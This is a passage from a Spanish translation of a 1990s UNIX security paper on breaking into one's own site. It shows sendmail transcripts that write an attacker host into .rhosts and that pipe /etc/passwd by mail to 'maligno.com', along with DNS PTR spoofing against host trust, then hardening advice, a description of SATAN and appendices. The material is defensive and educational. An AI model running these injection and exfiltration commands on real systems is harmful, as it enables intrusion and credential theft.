cambie las dos lineas en la estructura de CmdTab que tienen las cadenas "vrfy"
y "expn". Los sitios sin el archivo fuente todavia pueden desactivar expn y
vrfy revisando simplemente el ejecutable de sendmail con un editor binario y
reemplazando "vrfy" y "expn" con espacios en blanco. Adquirir una version
reciente del sendmail (vease el apendice D) es tambien una idea extremadamente
buena, puesto que ha habido probablemente mas bugs de seguridad señalados en
sendmail que en cualquier otro programa UNIX.
----
Como un sendmail-sendoff, hay dos fallos de funcionamiento bastante bien
conocidos los cuales deben ser controlados. El primero fue fijado
definitivamente en la version 5,59 de Berkeley; a pesar de los bajos mensajes,
para las versiones del sendmail anteriores a 5,59, el "maligno.com" consigue
añadirce al final del fichero, a pesar de los mensajes de error, junto con
todas las cabeceras tipicas del correo, el fichero especificado:
% cat maligno_sendmail
telnet victima.com 25 << EOSM
rcpt to: /home/zen/.rhosts
mail from: zen
data
random garbage
.
rcpt to: /home/zen/.rhosts
mail from: zen
data
maligno.com
.
quit
EOSM
maligno % /bin/sh maligno_sendmail
Trying 128.128.128.1
Connected to victima.com
Escape character is '^]'.
Connection closed by foreign host.
maligno % rlogin victima.com -l zen
Welcome to victima.com!
victima %
El el segundo agujero, solamente se arreglo recientemente, permitio a
cualquier persona especificar comandos y/o pathnames arbitrarios al shell para
el remitente y/o direccion de destino. Los esfuerzos por guardar el secreto de
los detalles estaban en discusiones inutiles, y extensos correos mandandos a
las listas y grupos de noticias de usenet llevaron al descubrimiento de como
aprovecharse de algunas versiones del bug. Como con muchos fallos de
funcionamiento de UNIX, el sendmail de casi cada vendedor era vulnerable al
problema, puesto que todas comparten una ascendencia comun en el arbol del
codigo fuente. El espacio nos imposibilita discutirlo completamente, pero un
ataque tipico para conseguir el archivo de contraseña puede parecerce a esto:
maligno % telnet victima.com 25
Trying 128.128.128.1...
Connected to victima.com
Escape character is '^]'.
220 victima.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|/bin/mail zen@maligno.com < /etc/passwd"
250 "|/bin/mail zen@maligno.com < /etc/passwd"... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
maligno %
En el momento en que escribiamos, la versión 8.6.4 del sendmail (vease el
apendice D para informacion sobre como conseguir esto) es segun se informa la
unica variante del sendmail con todos los fallos de funcionamiento recientes
de seguridad corregidos.
Confianza
----------
Para nuestro ultimo tema de vulnerabilidad, nosotros divagaremos de la
estrategia practica que hemos seguido para entrar un momento mas en el lado
teorico previamente, y brevemente discutiremos la nocion de confianza. Los
problemas e implicaciones de vulnerabilidades aqui son un poco mas sutiles y
de largo alcance de lo que nosotros hemos cubierto antes; en el contexto de
este papel nosotros usamos la palabra confianza siempre que hay una situación
cuando un servidor (note que cualquier host que permite el acceso remoto puede
llamarse un servidor) puede permitir usar un recurso local a un cliente sin la
autenticacion de la contraseña, cuando la autenticacion de la contraseña
normalmente se requiere. Es decir, limitamos arbitrariamente la discusion a
los clientes que fingen.
Hay muchas maneras en que un host puede confiar: .rhosts y archivos
hosts.equiv que permiten el acceso sin la comprobacion de la contraseña;
servidores de ventana que permiten a los sistemas remotos que utilicen y
abusen de los privilegios; archivos de exportacion que controlan el acceso via
NFS, y mas.
Casi todos estos confian en direcciones IP del cliente a la conversion del
nombre de host para determinar, si o no, el servicio debe ser concedido. El
metodo mas simple utiliza el fichero /etc/hosts para las operaciones de
busqueda directas. Sin embargo, la mayoria de los servidores utilizan hoy DNS
(Servicio de Nombre de Dominio), NIS, o ambos para el servicio de operaciones
de busqueda. Una operacion de busqueda inversa ocurre cuando un servidor tiene
una direccion IP (de un cliente host que conecta a el) y desea conseguir el
nombre de host del cliente correspondiente.
Aunque el concepto de como los trabajos de confianza del ordenador principal
son entendidos por la mayoria de los administradores de sistema, los
_peligros_ de confianza, y el problema _practico_ que representan,
independiente de la personificacion del nombre de host, es uno de los
problemas que sabemos que son menos entendidos en el Internet. Esto va mas
alla de los ficheros obvios de hosts.equiv y de los rhosts; NFS, NIS, sistemas
de ventanas -- de hecho, mucho de los servicios utiles en UNIX se basa en el
concepto que (a un administrador o a un usuario) los sitios bien conocidos se
confian de alguna manera. Lo que no se entiende es como el establecimiento de
una red tan firmemente segura entre lo que se considera normalmente desunen
los hosts.
Cualquier forma de confianza puede ser engañada, estafada, o derribada,
especialmente cuando la autoridad que pregunta para controlar las credenciales
del cliente esta o fuera del dominio administrativo del servidor, o cuando el
mecanismo de confianza se basa en algo que tiene una forma debil de
autentificacion; ambas son generalmente el caso.
Obviamente, si el host que contiene la base de datos (o NIS, DNS, o cualquier
cosa) se ha comprometido, el intruso puede convencer al host del blanco de que
el esta viniendo de cualquier host de confianza; es ahora suficiente
encontrar que los hosts son confiados por el blanco. Esta tarea a menudo es
ayudada grandemente examinando donde el administrador del sistema y cuentas
del sistema (por ejemplo root, etc.) las ultimas entradas. Regresando a
nuestro blanco, victima.com, usted nota que el root y algunas otras cuentas
del sistema entraron de gran.victima.com. Usted cambia los registros PTR
para maligno.com para que cuando usted intente el rlogin en maligno.com a
victima.com, victima.com intentara buscar su nombre de host y encontrara lo
que usted puso en el registro. Si el registro en la base de datos del DNS
aparece como:
1.192.192.192.in-addr.arpa IN PTR maligno.com
Y usted lo cambia a:
1.192.192.192.in-addr.arpa IN PTR gran.victima.com
entonces, dependiendo de que tan ingenuo es el software del sistema
victima.com, victima.com creera que la conexión viene de gran.victima.com, y,
si se asume que gran.victim.com esta en /etc/hosts.equiv o en los archivos
/.rhosts, usted podra realizar la conexion sin proveer una contraseña. Con el
NIS, es algo facil de corregir la base de datos del host en el NIS maestro (si
esta es controlada por el intruso) o engañada o forzada el NIS (vease la
discusion sobre seguridad del NIS arriba) para proveer al blanco de cualquier
informacion que usted desee. Aunque pueden montarse los ataques mas complejos,
interesantes, y perjudiciales via DNS, tiempo y espacio no permiten la
cobertura de estos metodos aqui.
Pueden usarse dos metodos para prevenir tales ataques. El primero es de los
mas directos, pero quizas el mas impractico. Si su sitio no utiliza ninguna
confianza, usted no sera vulnerable por host engañozos (spoofing). La otra
estrategia es usar los protocolos criptograficos. Usando el protocolo seguro
del RPC (usado en el NFS seguro, NIS+, el etc.) es un metodo; aunque ha sido
"quebrado" criptograficamente, proporciona aun asi un aseguramiento mejor que
los esquemas de autentificacion del RPC que no utilizan ninguna forma de
cifrado. Se estan desarrollando otras soluciones, ambas hardware (smartcards)
y software (Kerberos), pero son incompletas o requieren cambios al software
del sistema.
El apendice B detalla los resultados de un estudio informal tomados de una
variedad de hosts en la Internet.
Protegiendo el sistema
-----------------------
En nuestra confianza, en la que hemos demostrado que incluso algo
aparentemente inofensivo en el funcionamiento de los servicios, pueden ofrecer
(a veces inesperada) municion determinada a los crackers. Pero, claro, si
la seguridad fuera de todos que importaba, los ordenadores nunca serian
encendidos, dejarian enganchar en una red con literalmente millones de
intrusos potenciales. En lugar de reiterar los consejos especificos de
encender o apagar, nosotros en cambio ofrecemos algunas sugerencias generales:
- Si usted no puede desactivar el servicio de finger, considere instalar un
demonio finger modificado. Es raramente necesario revelar el directorio home
de un usuario y la fuente de sus ultimos ingresos.
- No ejecute NIS a menos que sea completamente necesario. Use NFS lo menos
posible.
- Nunca exporte archivos del sistema NFS sin restriccion al mundo. Intente
exportar archivos del sistema en solo lectura en lo posible.
- Fortifique y proteja los servidores (por ejemplo hosts que proporcionan un
servicio a otro hosts -- NFS, NIS, DNS, cualquier cosa.) Solo permite las
cuentas administrativas en estos hosts.
- Examine los servicios ofrecidos por el inetd y el portmapper
cuidadosamente. Elimine cualquier cosa que no necesite explicitamente. Use el
inetd wrappers de Wietse Venema, si por alguna otra razon que para anotar las
fuentes de conexion a su host. Esto agrega inmensamente al UNIX standard
caracteristicas de audicion, sobre todo con respecto a los ataques de red. Si
es posible, use el mecanismo del loghost de syslog para recoger informacion
relacionada sobre seguridad en un host seguro.
- Elimine la confianza a menos que haya una necesidad absoluta por el. La
confianza es su enemiga.
- Use contraseñas shadow y un comando en el passwd que desapruebe las
contraseñas pobres. Desactive o anule cuentas de usuario sin usar/inactivas.
- Mantenga al tanto de la literatura actual (vea nuestra lista y bibliografia
de lecturas sugeridas al final de este papel) y herramientas de seguridad;
comuniquese con otros sobre los problemas de seguridad e incidentes. Al
minimo, subscribace a la lista de correo de CERT y la revista phrack (mas a la
lista de correo firewalls, si su sitio esta usando o esta pensando en instalar
un cortafuegos) y lea los newsgroups de seguridad en usenet para conseguir la
ultima informacion sobre los problemas de seguridad. La ignorancia es el
problema de seguridad mas mortal del que nosotros somos conscientes.
- Instale todas las correciones de seguridad del vendedor lo mas pronto
posible, en todos sus hosts. Examine informacion de parches de seguridad para
otros vendedores - muchos bugs (el rdist, sendmail) son comunes en muchas
variantes de UNIX.
Es interesante observar que las soluciones comunes a los problemas de
seguridad tales como ejecutar el Kerberos o usar contraseñas de poco tiempo o
fichas digitales son ineficaces contra la mayoria de los ataques que
discutimos aqui. Nosotros sinceramente recomendamos el uso de tales sistemas,
pero somos conscientes que no son una solucion de seguridad total -- son parte
de una lucha mas grande para defender su sistema.
Conclusiones
-------------
Quizas ninguno de los metodos mostrados aqui es sorprendente; al escribir este
papel, nosotros no aprendimos mucho sobre como irrumpir en los sistemas. Que
aprendimos nosotros, mientras probabamos estos metodos fuera de nuestros
propios sistemas y en sitios de amigos, que apenas es eficaz este conjunto de
metodos para acceder a un servidor (UNIX) de Internet tipico. Cansados de
intentar teclear todo esto a mano, y deseando guardar nuestros propios
sistemas mas seguros, nosotros decidimos llevar a cabo una herramienta de
seguridad (SATAN) esta intenta verificar en los hosts remotos por lo menos
algunos de los problemas discutidos aqui. La respuesta tipica, al decirle
a la gente sobre nuestro papel y nuestra herramienta era algo en el orden de
"eso parece bastante peligroso -- yo espero que usted no vaya a repartirlo a
todos. Pero usted puede confiar en mi, yo puedo tener una copia de el? "
Nosotros nunca partimos en crear un libro de cocina o una caja de herramientas
de metodos y programas sobre como irrumpir en los sistemas -- en cambio,
nosotros vimos que estos mismos metodos eran utilizados, todos los dias,
contra nosotros y contra los administradores de sistema amigos. Creemos que
propagando informacion que normalmente no estaba disponible a aquellos fuera
del bajo mundo (underworld), nosotros podemos aumentar la seguridad levantando
el conocimiento. El intentar restringir el acceso a la información de
seguridad "peligrosa" nunca ha parecido ser un metodo muy eficaz para aumentar
la seguridad; de hecho, el contrario parece ser el caso, desde que los cracker
han mostrado poca reserva para compartir su informacion entre si.
Mientras es casi cierto que alguna de la informacion presentada aqui sera el
nuevo material a _aspirar_ de los crackers, y que algunos lo usaran para ganar
la entrada desautorizada hacia los hosts, las evidencias incluso presentada
por nuestras pruebas ad hoc muestran que hay un numero muy grande de sitios
inseguros, simplemente porque los administradores de sistemas no saben como
mejorarlos -- ellos no son tontos o lentos, ellos simplemente son incapaces
de pasarse el poco tiempo libre que ellos tienen para explorar todos los
problemas de seguridad que pertenecen a sus sistemas. Combine eso con el
acceso facil a esta clase de informacion y usted ha defendido pobremente los
sistemas. Nosotros (modestamente) esperamos que este papel proporcionara datos
malamente-necesarios de como los sistemas son quebrados, y mas alla, para
explicar por que deben tomarse ciertos pasos para asegurar un sistema. Saber
por que es algo un problema, en nuestra opinion, es realmente importante
aprender y realmente hacer una opcion informada, inteligente en cuanto a lo
que significa realmente la seguridad para su sitio.
----
Apendice A:
SATAN (Security Analysis Tool for Auditing Networks)
(Herramienta de Analisis de Seguridad para Audicion de Redes)
Originalmente concebido hace algunos años, SATAN es realmente el prototipo de
una vision mucho mas grande y mas comprensiva de una herramienta de seguridad.
En su encarnación actual, SATAN sondea e informa remotamente varios fallos y
debilidades en los servicios de red y sistemas de ventanas, asi como detalla
tanta informacion generalmente util como sea posible sobre el blanco(s).
Entonces procesa los datos con un filtro crudo y el cual puede llamar un
sistema experto para generar el analisis de seguridad final. Mientras que no
es particularmente rapido, es extremadamente modular y facil modificar.
SATAN consiste en varios subprogramas, cada uno de los cuales es un fichero
ejecutable (Perl, shell, binarios compilados de C, lo que sea) prueba un host
para una debilidad potencial dada. Adicionar programas de prueba futuros es
tan simple como poniendo un ejecutable en el directorio principal con la
extensión ".sat"; el programa lo ejecutara automaticamente. El programa genera
un conjunto de blancos (con el DNS y una version rapida del ping juntos para
conseguir los blancos "vivos"), y entonces ejecuta cada uno de los programas
encima de cada uno de las blancos. Unos datos que se filtran/interpreta y el
programa entonces analiza el rendimiento, y por ultimo un programa informa en
un formato mas legible.
El paquete entero, incluso el codigo fuente y la documentacion, sera
libremente disponible al publico, via ftp anonimo y mandado por correo a uno
de los numerosos grupos de codigo fuente en el Usenet.
----
Apendice B:
Un estudio informal dirigido sobre una docena de sitios de Internet
(educativo, militar, y comercial, por encima de los 200 hosts y 40000 cuentas)
revelo en promedio, que cerca del 10 por ciento de las cuentas de un sitio
tenia archivos .rhosts. Estos ficheros hicieron un promedio de por cada seis
servidores uno tenia archivos .rhosts; sin embargo, no era raro tener mas de
cien entradas en los rhosts de una cuenta, y en unas ocasiones, el número
estaba por encima de quinientos! (este no es un registro que deba ser
orgulloso de poseer.) Ademas, cada sitio directamente en el Internet (un sitio
estaba sobre todo detras de un cortafuegos) confiaba en a un usuario o un
ordenador principal de otro sitio, asi, la seguridad del sitio no estaba bajo
control directo de los administradores de sistema. Los sitios mas grandes, con
mas usuarios y hosts, tenian un porcentaje mas bajo de usuarios con los
ficheros rhosts, pero el tamaño de los archivos del rhosts aumentaron, asi
como el numero de sitios confiados.
Aunque era muy dificil verificar cuantas de las entradas eran validas, con
hostnames tales como "Makefile", "Mensaje-Id: ", y "^ Cs^A^C^M^Ci^C^MpNu^L^Z^O",
asi como las varias entradas del wildcard, nosotros cuestionamos la idea de
poner la seguridad de un sitio en las manos de sus usuarios. Muchos usuarios
(especialmente los que estan con los ficheros rhosts mas grandes) procuraron
poner comentarios de estilo-shell en sus ficheros de rhosts, que la mayoría de
los sistemas de UNIX procuran resolver como nombres de hosts validos.
Desafortunadamente, un atacante puede entonces utilizar las tecnicas de
spoofing en hostname del DNS y del NIS discutidas anteriormente para fijar su
hostname a "#" y para abrirse una sesion libremente. Esto pone en grandes
riegos a muchos sitios (por lo menos un vendedor importante envía sus sistemas
con comentarios en su fichero /etc/hosts.equiv.)
Usted podria pensar que estos sitios no eran tipicos, y, de hecho, ellos no
eran. Virtualmente todos los administradores saben mucho sobre seguridad y
escriben los programas de seguridad por un hobby o profesion, y muchos de los
sitios para los cuales trabajaron hicieron investigaciones sobre seguridad o
crearon productos para la seguridad. Nosotros solo podemos adivinar lo que un
sitio "tipico" podria parecerse.
----
Apendice C:
Despues de recibir un correo de un sitio que habia sido irrumpido desde uno de
nuestros sistemas, una investigacion comenzo. A tiempo, nosotros encontramos
que el intruso estaba trabajando sobre una lista de sitios ".com"
(comerciales), buscando hosts con archivos de password faciles de robar. En
este caso, "el robo facil" se refirio a los sitios con una suposicion de los
nombres de dominio NIS y un servidor NIS accesible. No sabiendo que tan lejos
el intruso habia llegado, parecia una buena idea advertir a los sitios que
eran de hecho vulnerables al robo del archivo de contraseñas. De los 656 hosts
en la lista de golpes del intruso, 24 eran facil robar el archivo de password
-- cerca de uno en veinticinco hosts! Un tercio de estos archivos de password
contuvo por lo menos una cuenta con una shell interactiva. Con un gran total
de 1594 entradas al archivo de password, una ejecucion de diez minutos de un
publicamente disponible crackeador de password (Crack) revela mas de 50
contraseñas, usando nada mas que una estacion de trabajo Sun de bajo-extremo.
Otras 40 contraseñas se encontraron dentro de los proximos 20 minutos; y una
contraseña de root se encontro durante solo una hora. El resultado despues de
unos dias de cracking: cinco contraseñas de root encontradas, 19 de 24
archivos de contraseña (ochenta por ciento) con por lo menos una contraseña
conocida, y 259 de 1594 (uno en seis) contraseñas se supusieron.
----
Apendice D:
Como conseguir algunos recursos gratis de seguridad en el Internet
Listas de Correos:
- El CERT (Computer Emergency Response Team) ista de envio de fallos.
Envie un correo electronico a cert@cert.org, y pida ser puesto en su lista de
envios.
- La Phrack boletin de noticias. Envie un mensaje de correo electronico a
phrack@well.sf.ca.us y pida ser agregado a la lista.
- Firewalls lista de coreo. Envie la siguiente linea a majordomo@greatcircle.com:
subscribe firewalls
- Computer Underground Digest. Envie un email a tk0jut2@mvs.cso.niu.edu, pidiendo
ser puesto en la lista.
Software Libre:
COPS (Computer Oracle and Password System) esta disponible via ftp anonimo de
archive.cis.ohio-state.edu, en pub/cops/1.04+.
El tcp wrappers esta disponible via ftp anonimo de ftp.win.tue.nl, en pub/security.
Crack esta disponible de ftp.uu.net, en /usenet/comp.sources.misc/volume28.
TAMU es una herramienta de audicion que es parte de una gran suite de
excelentes herramientas publicado por un grupo de Texas A&M University. Puede
conseguirce via ftp anonimo de net.tamu.edu, en pub/security/TAMU.
Fuentes para el ftpd y muchas otras utilidades de red pueden ser encontradas de
ftp.uu.net, en packages/bsd-sources.
Fuente del ISS (Internet Security Scanner), una herramienta que scanea
remotamente varias vulnerabilidades de red, esta disponible via ftp anonimo de
ftp.uu.net, en usenet/comp.sources.misc/volume40/iss.
Securelib esta disponible via ftp anonimo de ftp.uu.net, en
usenet/comp.sources.misc/volume36/securelib.
La ultima version de berkeley sendmail esta disponible via ftp anonimo de
ftp.cs.berkeley.edu, en ucb/sendmail.
Tripwire, un comprobador de la integridad de los archivos de sistemas UNIX, esta
disponible via ftp anonimo de ftp.cs.purdue.edu, en pub/spaf/COAST/Tripwire.
----
Bibliografia:
Baldwin, Robert W., Rule Based Analysis of Computer Security,
Massachusetts Institute of Technology, June 1987.
Bellovin, Steve, Using the Domain Name System for System Break-ins,
1992 (unpublished).
Massachusetts Institute of Technology, X Window System Protocol,
Version 11, 1990.
Shimomura, Tsutomu, private communication.
Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992.
----
Lecturas Sugeridas:
Bellovin, Steve -- "Security Problms in the TCP/IP Protocol Suite",
Computer Communication Review 19 (2), 1989; a comment by Stephen
Kent appears in volume 19 (3), 1989.
Garfinkel, Simson and Spafford, Gene, "Practical UNIX Security",
O'Reilly and Associates, Inc., 1992.
Hess, David, Safford, David, and Pooch, Udo, "A UNIX Network Protocol
Study: Network Information Service", Computer Communication Review
22 (5) 1992.
Phreak Accident, Playing Hide and Seek, UNIX style, Phrack, Volume
Four, Issue Forty-Three, File 14 of 27.
Ranum, Marcus, "Firewalls" internet electronic mailing list, Sept
1993.
Schuba, Christoph, "Addressing Weaknesses in the Domain Name System
Protocal", Purdue University, August 1993.
Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM
27 (8), 1984.
((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
))))))))))))))S)i)e)n)t)e))l)o))p)r)o)h)i)b)i)d)o)))))))))))))))))))
((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
http://kshezine.org
